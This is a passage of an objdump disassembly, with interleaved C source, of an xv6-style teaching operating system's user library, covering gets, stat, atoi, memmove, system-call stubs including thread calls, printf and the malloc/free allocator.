for(i=0; i+1 < max; ){ 12d3: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 12da: eb 44 jmp 1320 <gets+0x53> cc = read(0, &c, 1); 12dc: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 12e3: 00 12e4: 8d 45 ef lea -0x11(%ebp),%eax 12e7: 89 44 24 04 mov %eax,0x4(%esp) 12eb: c7 04 24 00 00 00 00 movl $0x0,(%esp) 12f2: e8 3d 01 00 00 call 1434 <read> 12f7: 89 45 f4 mov %eax,-0xc(%ebp) if(cc < 1) 12fa: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 12fe: 7e 2d jle 132d <gets+0x60> break; buf[i++] = c; 1300: 8b 45 f0 mov -0x10(%ebp),%eax 1303: 03 45 08 add 0x8(%ebp),%eax 1306: 0f b6 55 ef movzbl -0x11(%ebp),%edx 130a: 88 10 mov %dl,(%eax) 130c: 83 45 f0 01 addl $0x1,-0x10(%ebp) if(c == '\n' || c == '\r') 1310: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1314: 3c 0a cmp $0xa,%al 1316: 74 16 je 132e <gets+0x61> 1318: 0f b6 45 ef movzbl -0x11(%ebp),%eax 131c: 3c 0d cmp $0xd,%al 131e: 74 0e je 132e <gets+0x61> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1320: 8b 45 f0 mov -0x10(%ebp),%eax 1323: 83 c0 01 add $0x1,%eax 1326: 3b 45 0c cmp 0xc(%ebp),%eax 1329: 7c b1 jl 12dc <gets+0xf> 132b: eb 01 jmp 132e <gets+0x61> cc = read(0, &c, 1); if(cc < 1) break; 132d: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 132e: 8b 45 f0 mov -0x10(%ebp),%eax 1331: 03 45 08 add 0x8(%ebp),%eax 1334: c6 00 00 movb $0x0,(%eax) return buf; 1337: 8b 45 08 mov 0x8(%ebp),%eax } 133a: c9 leave 133b: c3 ret 0000133c <stat>: int stat(char *n, struct stat *st) { 133c: 55 push %ebp 133d: 89 e5 mov %esp,%ebp 133f: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 1342: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1349: 00 134a: 8b 45 08 mov 0x8(%ebp),%eax 134d: 89 04 24 mov %eax,(%esp) 1350: e8 07 01 00 00 call 145c <open> 1355: 89 45 f0 mov %eax,-0x10(%ebp) if(fd < 0) 1358: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 135c: 79 07 jns 1365 <stat+0x29> return -1; 135e: b8 ff ff ff ff mov $0xffffffff,%eax 1363: eb 23 jmp 1388 <stat+0x4c> r = fstat(fd, st); 1365: 8b 45 0c mov 0xc(%ebp),%eax 1368: 89 44 24 04 mov %eax,0x4(%esp) 136c: 8b 45 f0 mov -0x10(%ebp),%eax 136f: 89 04 24 mov %eax,(%esp) 1372: e8 fd 00 00 00 call 1474 <fstat> 1377: 89 45 f4 mov %eax,-0xc(%ebp) close(fd); 137a: 8b 45 f0 mov -0x10(%ebp),%eax 137d: 89 04 24 mov %eax,(%esp) 1380: e8 bf 00 00 00 call 1444 <close> return r; 1385: 8b 45 f4 mov -0xc(%ebp),%eax } 1388: c9 leave 1389: c3 ret 0000138a <atoi>: int atoi(const char *s) { 138a: 55 push %ebp 138b: 89 e5 mov %esp,%ebp 138d: 83 ec 10 sub $0x10,%esp int n; n = 0; 1390: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 1397: eb 24 jmp 13bd <atoi+0x33> n = n*10 + *s++ - '0'; 1399: 8b 55 fc mov -0x4(%ebp),%edx 139c: 89 d0 mov %edx,%eax 139e: c1 e0 02 shl $0x2,%eax 13a1: 01 d0 add %edx,%eax 13a3: 01 c0 add %eax,%eax 13a5: 89 c2 mov %eax,%edx 13a7: 8b 45 08 mov 0x8(%ebp),%eax 13aa: 0f b6 00 movzbl (%eax),%eax 13ad: 0f be c0 movsbl %al,%eax 13b0: 8d 04 02 lea (%edx,%eax,1),%eax 13b3: 83 e8 30 sub $0x30,%eax 13b6: 89 45 fc mov %eax,-0x4(%ebp) 13b9: 83 45 08 01 addl $0x1,0x8(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 13bd: 8b 45 08 mov 0x8(%ebp),%eax 13c0: 0f b6 00 movzbl (%eax),%eax 13c3: 3c 2f cmp $0x2f,%al 13c5: 7e 0a jle 13d1 <atoi+0x47> 13c7: 8b 45 08 mov 0x8(%ebp),%eax 13ca: 0f b6 00 movzbl (%eax),%eax 13cd: 3c 39 cmp $0x39,%al 13cf: 7e c8 jle 1399 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 13d1: 8b 45 fc mov -0x4(%ebp),%eax } 13d4: c9 leave 13d5: c3 ret 000013d6 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 13d6: 55 push %ebp 13d7: 89 e5 mov %esp,%ebp 13d9: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 13dc: 8b 45 08 mov 0x8(%ebp),%eax 13df: 89 45 f8 mov %eax,-0x8(%ebp) src = vsrc; 13e2: 8b 45 0c mov 0xc(%ebp),%eax 13e5: 89 45 fc mov %eax,-0x4(%ebp) while(n-- > 0) 13e8: eb 13 jmp 13fd <memmove+0x27> *dst++ = *src++; 13ea: 8b 45 fc mov -0x4(%ebp),%eax 13ed: 0f b6 10 movzbl (%eax),%edx 13f0: 8b 45 f8 mov -0x8(%ebp),%eax 13f3: 88 10 mov %dl,(%eax) 13f5: 83 45 f8 01 addl $0x1,-0x8(%ebp) 13f9: 83 45 fc 01 addl $0x1,-0x4(%ebp) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 13fd: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 1401: 0f 9f c0 setg %al 1404: 83 6d 10 01 subl $0x1,0x10(%ebp) 1408: 84 c0 test %al,%al 140a: 75 de jne 13ea <memmove+0x14> *dst++ = *src++; return vdst; 140c: 8b 45 08 mov 0x8(%ebp),%eax } 140f: c9 leave 1410: c3 ret 1411: 90 nop 1412: 90 nop 1413: 90 nop 00001414 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 1414: b8 01 00 00 00 mov $0x1,%eax 1419: cd 40 int $0x40 141b: c3 ret 0000141c <exit>: SYSCALL(exit) 141c: b8 02 00 00 00 mov $0x2,%eax 1421: cd 40 int $0x40 1423: c3 ret 00001424 <wait>: SYSCALL(wait) 1424: b8 03 00 00 00 mov $0x3,%eax 1429: cd 40 int $0x40 142b: c3 ret 0000142c <pipe>: SYSCALL(pipe) 142c: b8 04 00 00 00 mov $0x4,%eax 1431: cd 40 int $0x40 1433: c3 ret 00001434 <read>: SYSCALL(read) 1434: b8 05 00 00 00 mov $0x5,%eax 1439: cd 40 int $0x40 143b: c3 ret 0000143c <write>: SYSCALL(write) 143c: b8 10 00 00 00 mov $0x10,%eax 1441: cd 40 int $0x40 1443: c3 ret 00001444 <close>: SYSCALL(close) 1444: b8 15 00 00 00 mov $0x15,%eax 1449: cd 40 int $0x40 144b: c3 ret 0000144c <kill>: SYSCALL(kill) 144c: b8 06 00 00 00 mov $0x6,%eax 1451: cd 40 int $0x40 1453: c3 ret 00001454 <exec>: SYSCALL(exec) 1454: b8 07 00 00 00 mov $0x7,%eax 1459: cd 40 int $0x40 145b: c3 ret 0000145c <open>: SYSCALL(open) 145c: b8 0f 00 00 00 mov $0xf,%eax 1461: cd 40 int $0x40 1463: c3 ret 00001464 <mknod>: SYSCALL(mknod) 1464: b8 11 00 00 00 mov $0x11,%eax 1469: cd 40 int $0x40 146b: c3 ret 0000146c <unlink>: SYSCALL(unlink) 146c: b8 12 00 00 00 mov $0x12,%eax 1471: cd 40 int $0x40 1473: c3 ret 00001474 <fstat>: SYSCALL(fstat) 1474: b8 08 00 00 00 mov $0x8,%eax 1479: cd 40 int $0x40 147b: c3 ret 0000147c <link>: SYSCALL(link) 147c: b8 13 00 00 00 mov $0x13,%eax 1481: cd 40 int $0x40 1483: c3 ret 00001484 <mkdir>: SYSCALL(mkdir) 1484: b8 14 00 00 00 mov $0x14,%eax 1489: cd 40 int $0x40 148b: c3 ret 0000148c <chdir>: SYSCALL(chdir) 148c: b8 09 00 00 00 mov $0x9,%eax 1491: cd 40 int $0x40 1493: c3 ret 00001494 <dup>: SYSCALL(dup) 1494: b8 0a 00 00 00 mov $0xa,%eax 1499: cd 40 int $0x40 149b: c3 ret 0000149c <getpid>: SYSCALL(getpid) 149c: b8 0b 00 00 00 mov $0xb,%eax 14a1: cd 40 int $0x40 14a3: c3 ret 000014a4 <sbrk>: SYSCALL(sbrk) 14a4: b8 0c 00 00 00 mov $0xc,%eax 14a9: cd 40 int $0x40 14ab: c3 ret 000014ac <sleep>: SYSCALL(sleep) 14ac: b8 0d 00 00 00 mov $0xd,%eax 14b1: cd 40 int $0x40 14b3: c3 ret 000014b4 <uptime>: SYSCALL(uptime) 14b4: b8 0e 00 00 00 mov $0xe,%eax 14b9: cd 40 int $0x40 14bb: c3 ret 000014bc <clone>: SYSCALL(clone) 14bc: b8 16 00 00 00 mov $0x16,%eax 14c1: cd 40 int $0x40 14c3: c3 ret 000014c4 <texit>: SYSCALL(texit) 14c4: b8 17 00 00 00 mov $0x17,%eax 14c9: cd 40 int $0x40 14cb: c3 ret 000014cc <tsleep>: SYSCALL(tsleep) 14cc: b8 18 00 00 00 mov $0x18,%eax 14d1: cd 40 int $0x40 14d3: c3 ret 000014d4 <twakeup>: SYSCALL(twakeup) 14d4: b8 19 00 00 00 mov $0x19,%eax 14d9: cd 40 int $0x40 14db: c3 ret 000014dc <thread_yield>: SYSCALL(thread_yield) 14dc: b8 1a 00 00 00 mov $0x1a,%eax 14e1: cd 40 int $0x40 14e3: c3 ret 000014e4 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 14e4: 55 push %ebp 14e5: 89 e5 mov %esp,%ebp 14e7: 83 ec 28 sub $0x28,%esp 14ea: 8b 45 0c mov 0xc(%ebp),%eax 14ed: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 14f0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 14f7: 00 14f8: 8d 45 f4 lea -0xc(%ebp),%eax 14fb: 89 44 24 04 mov %eax,0x4(%esp) 14ff: 8b 45 08 mov 0x8(%ebp),%eax 1502: 89 04 24 mov %eax,(%esp) 1505: e8 32 ff ff ff call 143c <write> } 150a: c9 leave 150b: c3 ret 0000150c <printint>: static void printint(int fd, int xx, int base, int sgn) { 150c: 55 push %ebp 150d: 89 e5 mov %esp,%ebp 150f: 53 push %ebx 1510: 83 ec 44 sub $0x44,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 1513: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 151a: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 151e: 74 17 je 1537 <printint+0x2b> 1520: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 1524: 79 11 jns 1537 <printint+0x2b> neg = 1; 1526: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 152d: 8b 45 0c mov 0xc(%ebp),%eax 1530: f7 d8 neg %eax 1532: 89 45 f4 mov %eax,-0xc(%ebp) char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 1535: eb 06 jmp 153d <printint+0x31> neg = 1; x = -xx; } else { x = xx; 1537: 8b 45 0c mov 0xc(%ebp),%eax 153a: 89 45 f4 mov %eax,-0xc(%ebp) } i = 0; 153d: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) do{ buf[i++] = digits[x % base]; 1544: 8b 4d ec mov -0x14(%ebp),%ecx 1547: 8b 5d 10 mov 0x10(%ebp),%ebx 154a: 8b 45 f4 mov -0xc(%ebp),%eax 154d: ba 00 00 00 00 mov $0x0,%edx 1552: f7 f3 div %ebx 1554: 89 d0 mov %edx,%eax 1556: 0f b6 80 2c 1d 00 00 movzbl 0x1d2c(%eax),%eax 155d: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) 1561: 83 45 ec 01 addl $0x1,-0x14(%ebp) }while((x /= base) != 0); 1565: 8b 45 10 mov 0x10(%ebp),%eax 1568: 89 45 d4 mov %eax,-0x2c(%ebp) 156b: 8b 45 f4 mov -0xc(%ebp),%eax 156e: ba 00 00 00 00 mov $0x0,%edx 1573: f7 75 d4 divl -0x2c(%ebp) 1576: 89 45 f4 mov %eax,-0xc(%ebp) 1579: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 157d: 75 c5 jne 1544 <printint+0x38> if(neg) 157f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1583: 74 28 je 15ad <printint+0xa1> buf[i++] = '-'; 1585: 8b 45 ec mov -0x14(%ebp),%eax 1588: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) 158d: 83 45 ec 01 addl $0x1,-0x14(%ebp) while(--i >= 0) 1591: eb 1a jmp 15ad <printint+0xa1> putc(fd, buf[i]); 1593: 8b 45 ec mov -0x14(%ebp),%eax 1596: 0f b6 44 05 dc movzbl -0x24(%ebp,%eax,1),%eax 159b: 0f be c0 movsbl %al,%eax 159e: 89 44 24 04 mov %eax,0x4(%esp) 15a2: 8b 45 08 mov 0x8(%ebp),%eax 15a5: 89 04 24 mov %eax,(%esp) 15a8: e8 37 ff ff ff call 14e4 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 15ad: 83 6d ec 01 subl $0x1,-0x14(%ebp) 15b1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 15b5: 79 dc jns 1593 <printint+0x87> putc(fd, buf[i]); } 15b7: 83 c4 44 add $0x44,%esp 15ba: 5b pop %ebx 15bb: 5d pop %ebp 15bc: c3 ret 000015bd <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 15bd: 55 push %ebp 15be: 89 e5 mov %esp,%ebp 15c0: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 15c3: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) ap = (uint*)(void*)&fmt + 1; 15ca: 8d 45 0c lea 0xc(%ebp),%eax 15cd: 83 c0 04 add $0x4,%eax 15d0: 89 45 f4 mov %eax,-0xc(%ebp) for(i = 0; fmt[i]; i++){ 15d3: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) 15da: e9 7e 01 00 00 jmp 175d <printf+0x1a0> c = fmt[i] & 0xff; 15df: 8b 55 0c mov 0xc(%ebp),%edx 15e2: 8b 45 ec mov -0x14(%ebp),%eax 15e5: 8d 04 02 lea (%edx,%eax,1),%eax 15e8: 0f b6 00 movzbl (%eax),%eax 15eb: 0f be c0 movsbl %al,%eax 15ee: 25 ff 00 00 00 and $0xff,%eax 15f3: 89 45 e8 mov %eax,-0x18(%ebp) if(state == 0){ 15f6: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 15fa: 75 2c jne 1628 <printf+0x6b> if(c == '%'){ 15fc: 83 7d e8 25 cmpl $0x25,-0x18(%ebp) 1600: 75 0c jne 160e <printf+0x51> state = '%'; 1602: c7 45 f0 25 00 00 00 movl $0x25,-0x10(%ebp) 1609: e9 4b 01 00 00 jmp 1759 <printf+0x19c> } else { putc(fd, c); 160e: 8b 45 e8 mov -0x18(%ebp),%eax 1611: 0f be c0 movsbl %al,%eax 1614: 89 44 24 04 mov %eax,0x4(%esp) 1618: 8b 45 08 mov 0x8(%ebp),%eax 161b: 89 04 24 mov %eax,(%esp) 161e: e8 c1 fe ff ff call 14e4 <putc> 1623: e9 31 01 00 00 jmp 1759 <printf+0x19c> } } else if(state == '%'){ 1628: 83 7d f0 25 cmpl $0x25,-0x10(%ebp) 162c: 0f 85 27 01 00 00 jne 1759 <printf+0x19c> if(c == 'd'){ 1632: 83 7d e8 64 cmpl $0x64,-0x18(%ebp) 1636: 75 2d jne 1665 <printf+0xa8> printint(fd, *ap, 10, 1); 1638: 8b 45 f4 mov -0xc(%ebp),%eax 163b: 8b 00 mov (%eax),%eax 163d: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 1644: 00 1645: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 164c: 00 164d: 89 44 24 04 mov %eax,0x4(%esp) 1651: 8b 45 08 mov 0x8(%ebp),%eax 1654: 89 04 24 mov %eax,(%esp) 1657: e8 b0 fe ff ff call 150c <printint> ap++; 165c: 83 45 f4 04 addl $0x4,-0xc(%ebp) 1660: e9 ed 00 00 00 jmp 1752 <printf+0x195> } else if(c == 'x' || c == 'p'){ 1665: 83 7d e8 78 cmpl $0x78,-0x18(%ebp) 1669: 74 06 je 1671 <printf+0xb4> 166b: 83 7d e8 70 cmpl $0x70,-0x18(%ebp) 166f: 75 2d jne 169e <printf+0xe1> printint(fd, *ap, 16, 0); 1671: 8b 45 f4 mov -0xc(%ebp),%eax 1674: 8b 00 mov (%eax),%eax 1676: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 167d: 00 167e: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 1685: 00 1686: 89 44 24 04 mov %eax,0x4(%esp) 168a: 8b 45 08 mov 0x8(%ebp),%eax 168d: 89 04 24 mov %eax,(%esp) 1690: e8 77 fe ff ff call 150c <printint> ap++; 1695: 83 45 f4 04 addl $0x4,-0xc(%ebp) } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 1699: e9 b4 00 00 00 jmp 1752 <printf+0x195> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 169e: 83 7d e8 73 cmpl $0x73,-0x18(%ebp) 16a2: 75 46 jne 16ea <printf+0x12d> s = (char*)*ap; 16a4: 8b 45 f4 mov -0xc(%ebp),%eax 16a7: 8b 00 mov (%eax),%eax 16a9: 89 45 e4 mov %eax,-0x1c(%ebp) ap++; 16ac: 83 45 f4 04 addl $0x4,-0xc(%ebp) if(s == 0) 16b0: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 16b4: 75 27 jne 16dd <printf+0x120> s = "(null)"; 16b6: c7 45 e4 f6 1c 00 00 movl $0x1cf6,-0x1c(%ebp) while(*s != 0){ 16bd: eb 1f jmp 16de <printf+0x121> putc(fd, *s); 16bf: 8b 45 e4 mov -0x1c(%ebp),%eax 16c2: 0f b6 00 movzbl (%eax),%eax 16c5: 0f be c0 movsbl %al,%eax 16c8: 89 44 24 04 mov %eax,0x4(%esp) 16cc: 8b 45 08 mov 0x8(%ebp),%eax 16cf: 89 04 24 mov %eax,(%esp) 16d2: e8 0d fe ff ff call 14e4 <putc> s++; 16d7: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 16db: eb 01 jmp 16de <printf+0x121> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 16dd: 90 nop 16de: 8b 45 e4 mov -0x1c(%ebp),%eax 16e1: 0f b6 00 movzbl (%eax),%eax 16e4: 84 c0 test %al,%al 16e6: 75 d7 jne 16bf <printf+0x102> 16e8: eb 68 jmp 1752 <printf+0x195> putc(fd, *s); s++; } } else if(c == 'c'){ 16ea: 83 7d e8 63 cmpl $0x63,-0x18(%ebp) 16ee: 75 1d jne 170d <printf+0x150> putc(fd, *ap); 16f0: 8b 45 f4 mov -0xc(%ebp),%eax 16f3: 8b 00 mov (%eax),%eax 16f5: 0f be c0 movsbl %al,%eax 16f8: 89 44 24 04 mov %eax,0x4(%esp) 16fc: 8b 45 08 mov 0x8(%ebp),%eax 16ff: 89 04 24 mov %eax,(%esp) 1702: e8 dd fd ff ff call 14e4 <putc> ap++; 1707: 83 45 f4 04 addl $0x4,-0xc(%ebp) 170b: eb 45 jmp 1752 <printf+0x195> } else if(c == '%'){ 170d: 83 7d e8 25 cmpl $0x25,-0x18(%ebp) 1711: 75 17 jne 172a <printf+0x16d> putc(fd, c); 1713: 8b 45 e8 mov -0x18(%ebp),%eax 1716: 0f be c0 movsbl %al,%eax 1719: 89 44 24 04 mov %eax,0x4(%esp) 171d: 8b 45 08 mov 0x8(%ebp),%eax 1720: 89 04 24 mov %eax,(%esp) 1723: e8 bc fd ff ff call 14e4 <putc> 1728: eb 28 jmp 1752 <printf+0x195> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 172a: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 1731: 00 1732: 8b 45 08 mov 0x8(%ebp),%eax 1735: 89 04 24 mov %eax,(%esp) 1738: e8 a7 fd ff ff call 14e4 <putc> putc(fd, c); 173d: 8b 45 e8 mov -0x18(%ebp),%eax 1740: 0f be c0 movsbl %al,%eax 1743: 89 44 24 04 mov %eax,0x4(%esp) 1747: 8b 45 08 mov 0x8(%ebp),%eax 174a: 89 04 24 mov %eax,(%esp) 174d: e8 92 fd ff ff call 14e4 <putc> } state = 0; 1752: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 1759: 83 45 ec 01 addl $0x1,-0x14(%ebp) 175d: 8b 55 0c mov 0xc(%ebp),%edx 1760: 8b 45 ec mov -0x14(%ebp),%eax 1763: 8d 04 02 lea (%edx,%eax,1),%eax 1766: 0f b6 00 movzbl (%eax),%eax 1769: 84 c0 test %al,%al 176b: 0f 85 6e fe ff ff jne 15df <printf+0x22> putc(fd, c); } state = 0; } } } 1771: c9 leave 1772: c3 ret 1773: 90 nop 00001774 <free>: static Header base; static Header *freep; void free(void *ap) { 1774: 55 push %ebp 1775: 89 e5 mov %esp,%ebp 1777: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 177a: 8b 45 08 mov 0x8(%ebp),%eax 177d: 83 e8 08 sub $0x8,%eax 1780: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1783: a1 4c 1d 00 00 mov 0x1d4c,%eax 1788: 89 45 fc mov %eax,-0x4(%ebp) 178b: eb 24 jmp 17b1 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 178d: 8b 45 fc mov -0x4(%ebp),%eax 1790: 8b 00 mov (%eax),%eax 1792: 3b 45 fc cmp -0x4(%ebp),%eax 1795: 77 12 ja 17a9 <free+0x35> 1797: 8b 45 f8 mov -0x8(%ebp),%eax 179a: 3b 45 fc cmp -0x4(%ebp),%eax 179d: 77 24 ja 17c3 <free+0x4f> 179f: 8b 45 fc mov -0x4(%ebp),%eax 17a2: 8b 00 mov (%eax),%eax 17a4: 3b 45 f8 cmp -0x8(%ebp),%eax 17a7: 77 1a ja 17c3 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 17a9: 8b 45 fc mov -0x4(%ebp),%eax 17ac: 8b 00 mov (%eax),%eax 17ae: 89 45 fc mov %eax,-0x4(%ebp) 17b1: 8b 45 f8 mov -0x8(%ebp),%eax 17b4: 3b 45 fc cmp -0x4(%ebp),%eax 17b7: 76 d4 jbe 178d <free+0x19> 17b9: 8b 45 fc mov -0x4(%ebp),%eax 17bc: 8b 00 mov (%eax),%eax 17be: 3b 45 f8 cmp -0x8(%ebp),%eax 17c1: 76 ca jbe 178d <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 17c3: 8b 45 f8 mov -0x8(%ebp),%eax 17c6: 8b 40 04 mov 0x4(%eax),%eax 17c9: c1 e0 03 shl $0x3,%eax 17cc: 89 c2 mov %eax,%edx 17ce: 03 55 f8 add -0x8(%ebp),%edx 17d1: 8b 45 fc mov -0x4(%ebp),%eax 17d4: 8b 00 mov (%eax),%eax 17d6: 39 c2 cmp %eax,%edx 17d8: 75 24 jne 17fe <free+0x8a> bp->s.size += p->s.ptr->s.size; 17da: 8b 45 f8 mov -0x8(%ebp),%eax 17dd: 8b 50 04 mov 0x4(%eax),%edx 17e0: 8b 45 fc mov -0x4(%ebp),%eax 17e3: 8b 00 mov (%eax),%eax 17e5: 8b 40 04 mov 0x4(%eax),%eax 17e8: 01 c2 add %eax,%edx 17ea: 8b 45 f8 mov -0x8(%ebp),%eax 17ed: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 17f0: 8b 45 fc mov -0x4(%ebp),%eax 17f3: 8b 00 mov (%eax),%eax 17f5: 8b 10 mov (%eax),%edx 17f7: 8b 45 f8 mov -0x8(%ebp),%eax 17fa: 89 10 mov %edx,(%eax) 17fc: eb 0a jmp 1808 <free+0x94> } else bp->s.ptr = p->s.ptr; 17fe: 8b 45 fc mov -0x4(%ebp),%eax 1801: 8b 10 mov (%eax),%edx 1803: 8b 45 f8 mov -0x8(%ebp),%eax 1806: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 1808: 8b 45 fc mov -0x4(%ebp),%eax 180b: 8b 40 04 mov 0x4(%eax),%eax 180e: c1 e0 03 shl $0x3,%eax 1811: 03 45 fc add -0x4(%ebp),%eax 1814: 3b 45 f8 cmp -0x8(%ebp),%eax 1817: 75 20 jne 1839 <free+0xc5> p->s.size += bp->s.size; 1819: 8b 45 fc mov -0x4(%ebp),%eax 181c: 8b 50 04 mov 0x4(%eax),%edx 181f: 8b 45 f8 mov -0x8(%ebp),%eax 1822: 8b 40 04 mov 0x4(%eax),%eax 1825: 01 c2 add %eax,%edx 1827: 8b 45 fc mov -0x4(%ebp),%eax 182a: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 182d: 8b 45 f8 mov -0x8(%ebp),%eax 1830: 8b 10 mov (%eax),%edx 1832: 8b 45 fc mov -0x4(%ebp),%eax 1835: 89 10 mov %edx,(%eax) 1837: eb 08 jmp 1841 <free+0xcd> } else p->s.ptr = bp; 1839: 8b 45 fc mov -0x4(%ebp),%eax 183c: 8b 55 f8 mov -0x8(%ebp),%edx 183f: 89 10 mov %edx,(%eax) freep = p; 1841: 8b 45 fc mov -0x4(%ebp),%eax 1844: a3 4c 1d 00 00 mov %eax,0x1d4c } 1849: c9 leave 184a: c3 ret 0000184b <morecore>: static Header* morecore(uint nu) { 184b: 55 push %ebp 184c: 89 e5 mov %esp,%ebp 184e: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 1851: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 1858: 77 07 ja 1861 <morecore+0x16> nu = 4096; 185a: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 1861: 8b 45 08 mov 0x8(%ebp),%eax 1864: c1 e0 03 shl $0x3,%eax 1867: 89 04 24 mov %eax,(%esp) 186a: e8 35 fc ff ff call 14a4 <sbrk> 186f: 89 45 f0 mov %eax,-0x10(%ebp) if(p == (char*)-1) 1872: 83 7d f0 ff cmpl $0xffffffff,-0x10(%ebp) 1876: 75 07 jne 187f <morecore+0x34> return 0; 1878: b8 00 00 00 00 mov $0x0,%eax 187d: eb 22 jmp 18a1 <morecore+0x56> hp = (Header*)p; 187f: 8b 45 f0 mov -0x10(%ebp),%eax 1882: 89 45 f4 mov %eax,-0xc(%ebp) hp->s.size = nu; 1885: 8b 45 f4 mov -0xc(%ebp),%eax 1888: 8b 55 08 mov 0x8(%ebp),%edx 188b: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 188e: 8b 45 f4 mov -0xc(%ebp),%eax 1891: 83 c0 08 add $0x8,%eax 1894: 89 04 24 mov %eax,(%esp) 1897: e8 d8 fe ff ff call 1774 <free> return freep; 189c: a1 4c 1d 00 00 mov 0x1d4c,%eax } 18a1: c9 leave 18a2: c3 ret 000018a3 <malloc>: void* malloc(uint nbytes) { 18a3: 55 push %ebp 18a4: 89 e5 mov %esp,%ebp 18a6: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 18a9: 8b 45 08 mov 0x8(%ebp),%eax 18ac: 83 c0 07 add $0x7,%eax 18af: c1 e8 03 shr $0x3,%eax 18b2: 83 c0 01 add $0x1,%eax 18b5: 89 45 f4 mov %eax,-0xc(%ebp) if((prevp = freep) == 0){ 18b8: a1 4c 1d 00 00 mov 0x1d4c,%eax 18bd: 89 45 f0 mov %eax,-0x10(%ebp) 18c0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 18c4: 75 23 jne 18e9 <malloc+0x46> base.s.ptr = freep = prevp = &base; 18c6: c7 45 f0 44 1d 00 00 movl $0x1d44,-0x10(%ebp) 18cd: 8b 45 f0 mov -0x10(%ebp),%eax 18d0: a3 4c 1d 00 00 mov %eax,0x1d4c 18d5: a1 4c 1d 00 00 mov 0x1d4c,%eax 18da: a3 44 1d 00 00 mov %eax,0x1d44 base.s.size = 0; 18df: c7 05 48 1d 00 00 00 movl $0x0,0x1d48 18e6: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 18e9: 8b 45 f0 mov -0x10(%ebp),%eax 18ec: 8b 00 mov (%eax),%eax 18ee: 89 45 ec mov %eax,-0x14(%ebp) if(p->s.size >= nunits){ 18f1: 8b 45 ec mov -0x14(%ebp),%eax 18f4: 8b 40 04 mov 0x4(%eax),%eax 18f7: 3b 45 f4 cmp 